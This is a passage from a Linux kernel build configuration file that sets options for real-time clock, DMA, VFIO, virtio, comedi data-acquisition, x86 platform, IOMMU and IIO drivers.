# CONFIG_INFINIBAND_OPA_VNIC is not set
CONFIG_EDAC_ATOMIC_SCRUB=y
CONFIG_EDAC_SUPPORT=y
CONFIG_EDAC=y
# CONFIG_EDAC_DEBUG is not set
# CONFIG_EDAC_DECODE_MCE is not set
# CONFIG_EDAC_SCRUB is not set
# CONFIG_EDAC_ECS is not set
# CONFIG_EDAC_MEM_REPAIR is not set
# CONFIG_EDAC_E752X is not set
# CONFIG_EDAC_I82975X is not set
# CONFIG_EDAC_I3000 is not set
# CONFIG_EDAC_I3200 is not set
# CONFIG_EDAC_IE31200 is not set
# CONFIG_EDAC_X38 is not set
# CONFIG_EDAC_I5400 is not set
# CONFIG_EDAC_I7CORE is not set
# CONFIG_EDAC_I5100 is not set
# CONFIG_EDAC_I7300 is not set
# CONFIG_EDAC_SBRIDGE is not set
# CONFIG_EDAC_SKX is not set
# CONFIG_EDAC_I10NM is not set
# CONFIG_EDAC_IMH is not set
# CONFIG_EDAC_PND2 is not set
# CONFIG_EDAC_IGEN6 is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_MC146818_LIB=y
CONFIG_RTC_CLASS=y
# CONFIG_RTC_HCTOSYS is not set
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set
# CONFIG_RTC_NVMEM is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_ABB5ZES3 is not set
# CONFIG_RTC_DRV_ABEOZ9 is not set
# CONFIG_RTC_DRV_ABX80X is not set
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_HYM8563 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_MAX31335 is not set
# CONFIG_RTC_DRV_NCT3018Y is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_ISL12026 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF85363 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_TWL4030 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8010 is not set
# CONFIG_RTC_DRV_RX8111 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3028 is not set
# CONFIG_RTC_DRV_RV3032 is not set
# CONFIG_RTC_DRV_RV8803 is not set
# CONFIG_RTC_DRV_SD2405AL is not set
# CONFIG_RTC_DRV_SD3078 is not set

#
# SPI RTC drivers
#
# CONFIG_RTC_DRV_M41T93 is not set
# CONFIG_RTC_DRV_M41T94 is not set
# CONFIG_RTC_DRV_DS1302 is not set
# CONFIG_RTC_DRV_DS1305 is not set
# CONFIG_RTC_DRV_DS1343 is not set
# CONFIG_RTC_DRV_DS1347 is not set
# CONFIG_RTC_DRV_DS1390 is not set
# CONFIG_RTC_DRV_MAX6916 is not set
# CONFIG_RTC_DRV_R9701 is not set
# CONFIG_RTC_DRV_RX4581 is not set
# CONFIG_RTC_DRV_RS5C348 is not set
# CONFIG_RTC_DRV_MAX6902 is not set
# CONFIG_RTC_DRV_PCF2123 is not set
# CONFIG_RTC_DRV_MCP795 is not set
CONFIG_RTC_I2C_AND_SPI=y

#
# SPI and I2C RTC drivers
#
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_PCF2127 is not set
# CONFIG_RTC_DRV_PCF85063 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set
# CONFIG_RTC_DRV_RX6110 is not set

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_CMOS=y
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_ZYNQMP is not set

#
# on-CPU RTC drivers
#
# CONFIG_RTC_DRV_CADENCE is not set
# CONFIG_RTC_DRV_FTRTC010 is not set
# CONFIG_RTC_DRV_R7301 is not set
# CONFIG_RTC_DRV_GOLDFISH is not set

#
# HID Sensor RTC drivers
#
CONFIG_RTC_DRV_HID_SENSOR_TIME=y
CONFIG_DMADEVICES=y
# CONFIG_DMADEVICES_DEBUG is not set

#
# DMA Devices
#
CONFIG_DMA_ENGINE=y
CONFIG_DMA_VIRTUAL_CHANNELS=y
CONFIG_DMA_ACPI=y
CONFIG_DMA_OF=y
# CONFIG_ALTERA_MSGDMA is not set
# CONFIG_DW_AXI_DMAC is not set
# CONFIG_FSL_EDMA is not set
CONFIG_INTEL_IDMA64=y
# CONFIG_INTEL_IDXD is not set
# CONFIG_INTEL_IDXD_COMPAT is not set
CONFIG_INTEL_IOATDMA=y
# CONFIG_PLX_DMA is not set
# CONFIG_XILINX_DMA is not set
# CONFIG_XILINX_XDMA is not set
# CONFIG_XILINX_ZYNQMP_DPDMA is not set
# CONFIG_AMD_PTDMA is not set
# CONFIG_AMD_QDMA is not set
# CONFIG_QCOM_HIDMA_MGMT is not set
# CONFIG_QCOM_HIDMA is not set
CONFIG_DW_DMAC_CORE=y
# CONFIG_DW_DMAC is not set
# CONFIG_DW_DMAC_PCI is not set
# CONFIG_DW_EDMA is not set
CONFIG_HSU_DMA=y
# CONFIG_SF_PDMA is not set
# CONFIG_INTEL_LDMA is not set

#
# DMA Clients
#
CONFIG_ASYNC_TX_DMA=y
# CONFIG_DMATEST is not set
CONFIG_DMA_ENGINE_RAID=y

#
# DMABUF options
#
CONFIG_SYNC_FILE=y
CONFIG_SW_SYNC=y
CONFIG_UDMABUF=y
CONFIG_DMABUF_MOVE_NOTIFY=y
# CONFIG_DMABUF_DEBUG is not set
# CONFIG_DMABUF_SELFTESTS is not set
CONFIG_DMABUF_HEAPS=y
CONFIG_DMABUF_HEAPS_SYSTEM=y
CONFIG_DMABUF_HEAPS_CMA=y
# end of DMABUF options

CONFIG_DCA=y
# CONFIG_UIO is not set
CONFIG_VFIO=y
CONFIG_VFIO_DEVICE_CDEV=y
# CONFIG_VFIO_GROUP is not set
CONFIG_VFIO_VIRQFD=y
# CONFIG_VFIO_DEBUGFS is not set

#
# VFIO support for PCI devices
#
CONFIG_VFIO_PCI_CORE=y
CONFIG_VFIO_PCI_INTX=y
CONFIG_VFIO_PCI=y
# CONFIG_VFIO_PCI_VGA is not set
# CONFIG_VFIO_PCI_IGD is not set
# CONFIG_VIRTIO_VFIO_PCI is not set
# end of VFIO support for PCI devices

CONFIG_IRQ_BYPASS_MANAGER=y
# CONFIG_VIRT_DRIVERS is not set
CONFIG_VIRTIO_ANCHOR=y
CONFIG_VIRTIO=y
CONFIG_VIRTIO_PCI_LIB=y
CONFIG_VIRTIO_PCI_LIB_LEGACY=y
CONFIG_VIRTIO_MENU=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_PCI_ADMIN_LEGACY=y
CONFIG_VIRTIO_PCI_LEGACY=y
CONFIG_VIRTIO_VDPA=y
CONFIG_VIRTIO_PMEM=y
CONFIG_VIRTIO_BALLOON=y
CONFIG_VIRTIO_MEM=y
CONFIG_VIRTIO_INPUT=y
CONFIG_VIRTIO_MMIO=y
CONFIG_VIRTIO_MMIO_CMDLINE_DEVICES=y
CONFIG_VIRTIO_DMA_SHARED_BUFFER=y
# CONFIG_VIRTIO_DEBUG is not set
# CONFIG_VIRTIO_RTC is not set
CONFIG_VDPA=y
CONFIG_VDPA_SIM=y
CONFIG_VDPA_SIM_NET=y
CONFIG_VDPA_SIM_BLOCK=y
# CONFIG_VDPA_USER is not set
# CONFIG_IFCVF is not set
# CONFIG_MLX5_VDPA_STEERING_DEBUG is not set
CONFIG_VP_VDPA=y
# CONFIG_ALIBABA_ENI_VDPA is not set
# CONFIG_SNET_VDPA is not set
# CONFIG_OCTEONEP_VDPA is not set
CONFIG_VHOST_IOTLB=y
CONFIG_VHOST_RING=y
CONFIG_VHOST_TASK=y
CONFIG_VHOST=y
CONFIG_VHOST_MENU=y
CONFIG_VHOST_NET=y
# CONFIG_VHOST_SCSI is not set
CONFIG_VHOST_VSOCK=y
CONFIG_VHOST_VDPA=y
CONFIG_VHOST_CROSS_ENDIAN_LEGACY=y
CONFIG_VHOST_ENABLE_FORK_OWNER_CONTROL=y

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV is not set
# end of Microsoft Hyper-V guest support

CONFIG_GREYBUS=y
# CONFIG_GREYBUS_BEAGLEPLAY is not set
CONFIG_GREYBUS_ES2=y
CONFIG_COMEDI=y
# CONFIG_COMEDI_DEBUG is not set
CONFIG_COMEDI_DEFAULT_BUF_SIZE_KB=2048
CONFIG_COMEDI_DEFAULT_BUF_MAXSIZE_KB=20480
CONFIG_COMEDI_MISC_DRIVERS=y
CONFIG_COMEDI_BOND=y
CONFIG_COMEDI_TEST=y
CONFIG_COMEDI_PARPORT=y
CONFIG_COMEDI_ISA_DRIVERS=y
CONFIG_COMEDI_PCL711=y
CONFIG_COMEDI_PCL724=y
CONFIG_COMEDI_PCL726=y
CONFIG_COMEDI_PCL730=y
CONFIG_COMEDI_PCL812=y
CONFIG_COMEDI_PCL816=y
CONFIG_COMEDI_PCL818=y
CONFIG_COMEDI_PCM3724=y
CONFIG_COMEDI_AMPLC_DIO200_ISA=y
CONFIG_COMEDI_AMPLC_PC236_ISA=y
CONFIG_COMEDI_AMPLC_PC263_ISA=y
CONFIG_COMEDI_RTI800=y
CONFIG_COMEDI_RTI802=y
CONFIG_COMEDI_DAC02=y
CONFIG_COMEDI_DAS16M1=y
CONFIG_COMEDI_DAS08_ISA=y
# CONFIG_COMEDI_DAS16 is not set
CONFIG_COMEDI_DAS800=y
CONFIG_COMEDI_DAS1800=y
CONFIG_COMEDI_DAS6402=y
CONFIG_COMEDI_DT2801=y
CONFIG_COMEDI_DT2811=y
CONFIG_COMEDI_DT2814=y
CONFIG_COMEDI_DT2815=y
CONFIG_COMEDI_DT2817=y
CONFIG_COMEDI_DT282X=y
CONFIG_COMEDI_DMM32AT=y
CONFIG_COMEDI_FL512=y
CONFIG_COMEDI_AIO_AIO12_8=y
CONFIG_COMEDI_AIO_IIRO_16=y
# CONFIG_COMEDI_II_PCI20KC is not set
CONFIG_COMEDI_C6XDIGIO=y
CONFIG_COMEDI_MPC624=y
CONFIG_COMEDI_ADQ12B=y
CONFIG_COMEDI_NI_AT_A2150=y
CONFIG_COMEDI_NI_AT_AO=y
# CONFIG_COMEDI_NI_ATMIO is not set
CONFIG_COMEDI_NI_ATMIO16D=y
CONFIG_COMEDI_NI_LABPC_ISA=y
CONFIG_COMEDI_PCMAD=y
CONFIG_COMEDI_PCMDA12=y
CONFIG_COMEDI_PCMMIO=y
CONFIG_COMEDI_PCMUIO=y
CONFIG_COMEDI_MULTIQ3=y
CONFIG_COMEDI_S526=y
CONFIG_COMEDI_PCI_DRIVERS=y
CONFIG_COMEDI_8255_PCI=y
# CONFIG_COMEDI_ADDI_APCI_1032 is not set
# CONFIG_COMEDI_ADDI_APCI_1500 is not set
# CONFIG_COMEDI_ADDI_APCI_1516 is not set
# CONFIG_COMEDI_ADDI_APCI_1564 is not set
# CONFIG_COMEDI_ADDI_APCI_16XX is not set
# CONFIG_COMEDI_ADDI_APCI_2032 is not set
# CONFIG_COMEDI_ADDI_APCI_2200 is not set
# CONFIG_COMEDI_ADDI_APCI_3120 is not set
# CONFIG_COMEDI_ADDI_APCI_3501 is not set
# CONFIG_COMEDI_ADDI_APCI_3XXX is not set
# CONFIG_COMEDI_ADL_PCI6208 is not set
# CONFIG_COMEDI_ADL_PCI7250 is not set
# CONFIG_COMEDI_ADL_PCI7X3X is not set
# CONFIG_COMEDI_ADL_PCI8164 is not set
# CONFIG_COMEDI_ADL_PCI9111 is not set
CONFIG_COMEDI_ADL_PCI9118=y
# CONFIG_COMEDI_ADV_PCI1710 is not set
# CONFIG_COMEDI_ADV_PCI1720 is not set
# CONFIG_COMEDI_ADV_PCI1723 is not set
# CONFIG_COMEDI_ADV_PCI1724 is not set
# CONFIG_COMEDI_ADV_PCI1760 is not set
# CONFIG_COMEDI_ADV_PCI_DIO is not set
# CONFIG_COMEDI_AMPLC_DIO200_PCI is not set
# CONFIG_COMEDI_AMPLC_PC236_PCI is not set
# CONFIG_COMEDI_AMPLC_PC263_PCI is not set
# CONFIG_COMEDI_AMPLC_PCI224 is not set
# CONFIG_COMEDI_AMPLC_PCI230 is not set
# CONFIG_COMEDI_CONTEC_PCI_DIO is not set
# CONFIG_COMEDI_DAS08_PCI is not set
# CONFIG_COMEDI_DT3000 is not set
# CONFIG_COMEDI_DYNA_PCI10XX is not set
# CONFIG_COMEDI_GSC_HPDI is not set
# CONFIG_COMEDI_MF6X4 is not set
# CONFIG_COMEDI_ICP_MULTI is not set
# CONFIG_COMEDI_DAQBOARD2000 is not set
# CONFIG_COMEDI_JR3_PCI is not set
# CONFIG_COMEDI_KE_COUNTER is not set
# CONFIG_COMEDI_CB_PCIDAS64 is not set
# CONFIG_COMEDI_CB_PCIDAS is not set
# CONFIG_COMEDI_CB_PCIDDA is not set
# CONFIG_COMEDI_CB_PCIMDAS is not set
# CONFIG_COMEDI_CB_PCIMDDA is not set
# CONFIG_COMEDI_ME4000 is not set
# CONFIG_COMEDI_ME_DAQ is not set
# CONFIG_COMEDI_NI_6527 is not set
# CONFIG_COMEDI_NI_65XX is not set
# CONFIG_COMEDI_NI_660X is not set
# CONFIG_COMEDI_NI_670X is not set
CONFIG_COMEDI_NI_LABPC_PCI=y
# CONFIG_COMEDI_NI_PCIDIO is not set
# CONFIG_COMEDI_NI_PCIMIO is not set
# CONFIG_COMEDI_RTD520 is not set
# CONFIG_COMEDI_S626 is not set
CONFIG_COMEDI_PCMCIA_DRIVERS=y
# CONFIG_COMEDI_CB_DAS16_CS is not set
# CONFIG_COMEDI_DAS08_CS is not set
CONFIG_COMEDI_NI_DAQ_700_CS=y
# CONFIG_COMEDI_NI_DAQ_DIO24_CS is not set
CONFIG_COMEDI_NI_LABPC_CS=y
# CONFIG_COMEDI_NI_MIO_CS is not set
# CONFIG_COMEDI_QUATECH_DAQP_CS is not set
CONFIG_COMEDI_USB_DRIVERS=y
CONFIG_COMEDI_DT9812=y
CONFIG_COMEDI_NI_USB6501=y
CONFIG_COMEDI_USBDUX=y
CONFIG_COMEDI_USBDUXFAST=y
CONFIG_COMEDI_USBDUXSIGMA=y
CONFIG_COMEDI_VMK80XX=y
CONFIG_COMEDI_8254=y
CONFIG_COMEDI_8255=y
CONFIG_COMEDI_8255_SA=y
CONFIG_COMEDI_KCOMEDILIB=y
CONFIG_COMEDI_AMPLC_DIO200=y
CONFIG_COMEDI_AMPLC_PC236=y
CONFIG_COMEDI_DAS08=y
CONFIG_COMEDI_ISADMA=y
CONFIG_COMEDI_NI_LABPC=y
CONFIG_COMEDI_NI_LABPC_ISADMA=y
# CONFIG_COMEDI_TESTS is not set
# CONFIG_GPIB is not set
CONFIG_STAGING=y
# CONFIG_RTL8723BS is not set

#
# IIO staging drivers
#

#
# Accelerometers
#
# CONFIG_ADIS16203 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD7816 is not set
# end of Analog to digital converters

#
# Analog digital bi-direction converters
#
# CONFIG_ADT7316 is not set
# end of Analog digital bi-direction converters

#
# Direct Digital Synthesis
#
# CONFIG_AD9832 is not set
# CONFIG_AD9834 is not set
# end of Direct Digital Synthesis

#
# Network Analyzer, Impedance Converters
#
# CONFIG_AD5933 is not set
# end of Network Analyzer, Impedance Converters
# end of IIO staging drivers

# CONFIG_FB_SM750 is not set
# CONFIG_STAGING_MEDIA is not set
# CONFIG_FB_TFT is not set
# CONFIG_MOST_COMPONENTS is not set
# CONFIG_GREYBUS_AUDIO is not set
# CONFIG_GREYBUS_BOOTROM is not set
# CONFIG_GREYBUS_FIRMWARE is not set
CONFIG_GREYBUS_HID=y
# CONFIG_GREYBUS_LOG is not set
# CONFIG_GREYBUS_LOOPBACK is not set
# CONFIG_GREYBUS_POWER is not set
# CONFIG_GREYBUS_RAW is not set
# CONFIG_GREYBUS_VIBRATOR is not set
CONFIG_GREYBUS_BRIDGED_PHY=y
# CONFIG_GREYBUS_GPIO is not set
# CONFIG_GREYBUS_I2C is not set
# CONFIG_GREYBUS_SDIO is not set
# CONFIG_GREYBUS_SPI is not set
# CONFIG_GREYBUS_UART is not set
CONFIG_GREYBUS_USB=y
# CONFIG_XIL_AXIS_FIFO is not set
# CONFIG_VME_BUS is not set
# CONFIG_GOLDFISH is not set
# CONFIG_CHROME_PLATFORMS is not set
# CONFIG_MELLANOX_PLATFORM is not set
CONFIG_SURFACE_PLATFORMS=y
# CONFIG_SURFACE3_WMI is not set
# CONFIG_SURFACE_3_POWER_OPREGION is not set
# CONFIG_SURFACE_ACPI_NOTIFY is not set
# CONFIG_SURFACE_AGGREGATOR_CDEV is not set
# CONFIG_SURFACE_AGGREGATOR_HUB is not set
CONFIG_SURFACE_AGGREGATOR_REGISTRY=y
# CONFIG_SURFACE_AGGREGATOR_TABLET_SWITCH is not set
# CONFIG_SURFACE_DTX is not set
# CONFIG_SURFACE_GPE is not set
# CONFIG_SURFACE_HOTPLUG is not set
# CONFIG_SURFACE_PLATFORM_PROFILE is not set
# CONFIG_SURFACE_PRO3_BUTTON is not set
CONFIG_SURFACE_AGGREGATOR=y
CONFIG_SURFACE_AGGREGATOR_BUS=y
CONFIG_X86_PLATFORM_DEVICES=y
CONFIG_WMI_BMOF=y
# CONFIG_HUAWEI_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_UNIWILL is not set
# CONFIG_MXM_WMI is not set
# CONFIG_NVIDIA_WMI_EC_BACKLIGHT is not set
# CONFIG_XIAOMI_WMI is not set
# CONFIG_REDMI_WMI is not set
# CONFIG_GIGABYTE_WMI is not set
# CONFIG_ACERHDF is not set
# CONFIG_ACER_WIRELESS is not set
# CONFIG_ACER_WMI is not set

#
# AMD HSMP Driver
#
# CONFIG_AMD_HSMP_ACPI is not set
# CONFIG_AMD_HSMP_PLAT is not set
# end of AMD HSMP Driver

# CONFIG_AMD_PMC is not set
# CONFIG_AMD_HFI is not set
# CONFIG_AMD_3D_VCACHE is not set
# CONFIG_AMD_WBRF is not set
# CONFIG_AMD_ISP_PLATFORM is not set
# CONFIG_ADV_SWBUTTON is not set
# CONFIG_APPLE_GMUX is not set
# CONFIG_ASUS_LAPTOP is not set
# CONFIG_ASUS_WIRELESS is not set
# CONFIG_ASUS_ARMOURY is not set
CONFIG_ASUS_WMI=y
# CONFIG_ASUS_WMI_DEPRECATED_ATTRS is not set
# CONFIG_ASUS_NB_WMI is not set
CONFIG_ASUS_TF103C_DOCK=y
# CONFIG_AYANEO_EC is not set
CONFIG_EEEPC_LAPTOP=y
# CONFIG_EEEPC_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set
# CONFIG_AMILO_RFKILL is not set
# CONFIG_FUJITSU_LAPTOP is not set
# CONFIG_FUJITSU_TABLET is not set
# CONFIG_GPD_POCKET_FAN is not set
# CONFIG_X86_PLATFORM_DRIVERS_HP is not set
# CONFIG_WIRELESS_HOTKEY is not set
# CONFIG_IBM_RTL is not set
# CONFIG_SENSORS_HDAPS is not set
# CONFIG_INTEL_ATOMISP2_PM is not set
# CONFIG_INTEL_IFS is not set
# CONFIG_INTEL_SAR_INT1092 is not set
# CONFIG_INTEL_SKL_INT3472 is not set

#
# Intel Speed Select Technology interface support
#
# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set
# end of Intel Speed Select Technology interface support

# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set
# CONFIG_INTEL_WMI_THUNDERBOLT is not set

#
# Intel Uncore Frequency Control
#
# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set
# end of Intel Uncore Frequency Control

# CONFIG_INTEL_HID_EVENT is not set
# CONFIG_INTEL_VBTN is not set
# CONFIG_INTEL_EHL_PSE_IO is not set
# CONFIG_INTEL_INT0002_VGPIO is not set
# CONFIG_INTEL_OAKTRAIL is not set
# CONFIG_INTEL_BXTWC_PMIC_TMU is not set
CONFIG_INTEL_CHTWC_INT33FE=y
CONFIG_INTEL_ISHTP_ECLITE=y
# CONFIG_INTEL_PUNIT_IPC is not set
# CONFIG_INTEL_RST is not set
# CONFIG_INTEL_SMARTCONNECT is not set
# CONFIG_INTEL_TURBO_MAX_3 is not set
# CONFIG_INTEL_VSEC is not set
# CONFIG_IDEAPAD_LAPTOP is not set
# CONFIG_LENOVO_WMI_HOTKEY_UTILITIES is not set
# CONFIG_LENOVO_WMI_CAMERA is not set
# CONFIG_THINKPAD_ACPI is not set
# CONFIG_THINKPAD_LMI is not set
# CONFIG_YOGABOOK is not set
# CONFIG_YT2_1380 is not set
# CONFIG_LENOVO_WMI_GAMEZONE is not set
# CONFIG_LENOVO_WMI_TUNING is not set
# CONFIG_ACPI_QUICKSTART is not set
# CONFIG_MEEGOPAD_ANX7428 is not set
# CONFIG_MSI_EC is not set
# CONFIG_MSI_LAPTOP is not set
# CONFIG_MSI_WMI is not set
# CONFIG_MSI_WMI_PLATFORM is not set
# CONFIG_PCENGINES_APU2 is not set
# CONFIG_PORTWELL_EC is not set
# CONFIG_BARCO_P50_GPIO is not set
# CONFIG_SAMSUNG_GALAXYBOOK is not set
# CONFIG_SAMSUNG_LAPTOP is not set
# CONFIG_SAMSUNG_Q10 is not set
# CONFIG_ACPI_TOSHIBA is not set
# CONFIG_TOSHIBA_BT_RFKILL is not set
# CONFIG_TOSHIBA_HAPS is not set
# CONFIG_TOSHIBA_WMI is not set
# CONFIG_ACPI_CMPC is not set
# CONFIG_COMPAL_LAPTOP is not set
# CONFIG_LG_LAPTOP is not set
# CONFIG_PANASONIC_LAPTOP is not set
# CONFIG_SONY_LAPTOP is not set
# CONFIG_SYSTEM76_ACPI is not set
# CONFIG_TOPSTAR_LAPTOP is not set
# CONFIG_SERIAL_MULTI_INSTANTIATE is not set
# CONFIG_INSPUR_PLATFORM_PROFILE is not set
# CONFIG_DASHARO_ACPI is not set
# CONFIG_INTEL_IPS is not set
CONFIG_INTEL_SCU_IPC=y
# CONFIG_INTEL_SCU_PCI is not set
# CONFIG_INTEL_SCU_PLATFORM is not set
# CONFIG_SIEMENS_SIMATIC_IPC is not set
# CONFIG_SILICOM_PLATFORM is not set
# CONFIG_WINMATE_FM07_KEYS is not set
# CONFIG_OXP_EC is not set
# CONFIG_TUXEDO_NB04_WMI_AB is not set
CONFIG_P2SB=y
CONFIG_ACPI_WMI=y
# CONFIG_ACPI_WMI_LEGACY_DEVICE_NAMES is not set
CONFIG_HAVE_CLK=y
CONFIG_HAVE_CLK_PREPARE=y
CONFIG_COMMON_CLK=y
# CONFIG_LMK04832 is not set
# CONFIG_COMMON_CLK_MAX9485 is not set
# CONFIG_COMMON_CLK_SI5341 is not set
# CONFIG_COMMON_CLK_SI5351 is not set
# CONFIG_COMMON_CLK_SI514 is not set
# CONFIG_COMMON_CLK_SI544 is not set
# CONFIG_COMMON_CLK_SI570 is not set
# CONFIG_COMMON_CLK_CDCE706 is not set
# CONFIG_COMMON_CLK_CDCE925 is not set
# CONFIG_COMMON_CLK_CS2000_CP is not set
# CONFIG_CLK_TWL is not set
# CONFIG_COMMON_CLK_AXI_CLKGEN is not set
# CONFIG_COMMON_CLK_RS9_PCIE is not set
# CONFIG_COMMON_CLK_SI521XX is not set
# CONFIG_COMMON_CLK_VC3 is not set
# CONFIG_COMMON_CLK_VC5 is not set
# CONFIG_COMMON_CLK_VC7 is not set
# CONFIG_COMMON_CLK_FIXED_MMIO is not set
# CONFIG_CLK_LGM_CGU is not set
# CONFIG_XILINX_VCU is not set
# CONFIG_COMMON_CLK_XLNX_CLKWZRD is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
# end of Clock Source drivers

CONFIG_MAILBOX=y
# CONFIG_PLATFORM_MHU is not set
CONFIG_PCC=y
# CONFIG_ALTERA_MBOX is not set
# CONFIG_MAILBOX_TEST is not set
CONFIG_IOMMU_IOVA=y
CONFIG_IOMMU_API=y
CONFIG_IOMMUFD_DRIVER=y
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# end of Generic IOMMU Pagetable Support

# CONFIG_IOMMU_DEBUGFS is not set
# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set
CONFIG_IOMMU_DEFAULT_DMA_LAZY=y
# CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set
CONFIG_OF_IOMMU=y
CONFIG_IOMMU_DMA=y
CONFIG_IOMMU_SVA=y
CONFIG_IOMMU_IOPF=y
CONFIG_AMD_IOMMU=y
# CONFIG_AMD_IOMMU_IOMMUFD is not set
CONFIG_DMAR_TABLE=y
CONFIG_INTEL_IOMMU=y
CONFIG_INTEL_IOMMU_SVM=y
CONFIG_INTEL_IOMMU_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_PERF_EVENTS=y
CONFIG_IOMMUFD_DRIVER_CORE=y
CONFIG_IOMMUFD=y
CONFIG_IOMMUFD_TEST=y
CONFIG_IRQ_REMAP=y
# CONFIG_VIRTIO_IOMMU is not set
CONFIG_GENERIC_PT=y
CONFIG_DEBUG_GENERIC_PT=y
CONFIG_IOMMU_PT=y
CONFIG_IOMMU_PT_AMDV1=y
CONFIG_IOMMU_PT_VTDSS=y
CONFIG_IOMMU_PT_X86_64=y

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set
# end of Remoteproc drivers

#
# Rpmsg drivers
#
# CONFIG_RPMSG_QCOM_GLINK_RPM is not set
# CONFIG_RPMSG_VIRTIO is not set
# end of Rpmsg drivers

CONFIG_SOUNDWIRE=y

#
# SoundWire Devices
#
# CONFIG_SOUNDWIRE_AMD is not set
# CONFIG_SOUNDWIRE_INTEL is not set
# CONFIG_SOUNDWIRE_QCOM is not set

#
# SOC (System On Chip) specific Drivers
#

#
# Amlogic SoC drivers
#
# end of Amlogic SoC drivers

#
# Broadcom SoC drivers
#
# end of Broadcom SoC drivers

#
# NXP/Freescale QorIQ SoC drivers
#
# end of NXP/Freescale QorIQ SoC drivers

#
# fujitsu SoC drivers
#
# end of fujitsu SoC drivers

#
# i.MX SoC drivers
#
# end of i.MX SoC drivers

#
# Enable LiteX SoC Builder specific drivers
#
# CONFIG_LITEX_SOC_CONTROLLER is not set
# end of Enable LiteX SoC Builder specific drivers

# CONFIG_WPCM450_SOC is not set

#
# Qualcomm SoC drivers
#
CONFIG_QCOM_QMI_HELPERS=y
# end of Qualcomm SoC drivers

# CONFIG_SOC_TI is not set

#
# Xilinx SoC drivers
#
# end of Xilinx SoC drivers
# end of SOC (System On Chip) specific Drivers

#
# PM Domains
#

#
# Amlogic PM Domains
#
# end of Amlogic PM Domains

#
# Broadcom PM Domains
#
# end of Broadcom PM Domains

#
# i.MX PM Domains
#
# end of i.MX PM Domains

#
# Qualcomm PM Domains
#
# end of Qualcomm PM Domains
# end of PM Domains

# CONFIG_PM_DEVFREQ is not set
CONFIG_EXTCON=y

#
# Extcon Device Drivers
#
# CONFIG_EXTCON_ADC_JACK is not set
# CONFIG_EXTCON_FSA9480 is not set
# CONFIG_EXTCON_GPIO is not set
# CONFIG_EXTCON_INTEL_INT3496 is not set
CONFIG_EXTCON_INTEL_CHT_WC=y
# CONFIG_EXTCON_LC824206XA is not set
# CONFIG_EXTCON_MAX3355 is not set
# CONFIG_EXTCON_MAX14526 is not set
CONFIG_EXTCON_PTN5150=y
# CONFIG_EXTCON_RT8973A is not set
# CONFIG_EXTCON_SM5502 is not set
# CONFIG_EXTCON_USB_GPIO is not set
CONFIG_EXTCON_USBC_TUSB320=y
# CONFIG_MEMORY is not set
CONFIG_IIO=y
CONFIG_IIO_BUFFER=y
# CONFIG_IIO_BUFFER_CB is not set
# CONFIG_IIO_BUFFER_DMA is not set
# CONFIG_IIO_BUFFER_DMAENGINE is not set
# CONFIG_IIO_BUFFER_HW_CONSUMER is not set
CONFIG_IIO_KFIFO_BUF=y
CONFIG_IIO_TRIGGERED_BUFFER=y
# CONFIG_IIO_CONFIGFS is not set
CONFIG_IIO_TRIGGER=y
CONFIG_IIO_CONSUMERS_PER_TRIGGER=2
# CONFIG_IIO_SW_DEVICE is not set
# CONFIG_IIO_SW_TRIGGER is not set
# CONFIG_IIO_TRIGGERED_EVENT is not set

#
# Accelerometers
#
